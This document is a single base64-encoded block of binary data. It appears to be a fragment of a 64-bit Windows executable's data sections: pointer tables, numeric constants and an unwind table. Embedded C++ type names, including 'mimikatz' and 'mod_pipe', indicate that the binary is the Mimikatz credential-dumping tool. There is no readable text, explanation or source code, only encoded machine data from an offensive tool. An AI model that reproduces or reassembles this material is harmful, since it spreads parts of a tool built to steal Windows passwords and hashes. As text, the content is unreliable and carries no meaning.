AAAAAMA5BYABAAAAFwAAAAAAAAC4OQWAAQAAACIAAAAAAAAAtDkFgAEAAAAjAAAAAAAAALA5BYABAAAAJAAAAAAAAACsOQWAAQAAACUAAAAAAAAApDkFgAEAAAAmAAAAAAAAAJg5BYABAAAAAAAAAAAA8H8AAAAAAAD4/////////+9/AAAAAAAAEAAAAAAAAAAAgAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAC4AAAABAAAAAAAAADhKBYABAAAAIEoFgAEAAAAASgWAAQAAAPBJBYABAAAA0EkFgAEAAAC4SQWAAQAAAJhJBYABAAAAgEkFgAEAAABoSQWAAQAAAFBJBYABAAAAOEkFgAEAAAAQSQWAAQAAAPhIBYABAAAA4EgFgAEAAADQSAWAAQAAAMBIBYABAAAAsEgFgAEAAACgSAWAAQAAAJBIBYABAAAA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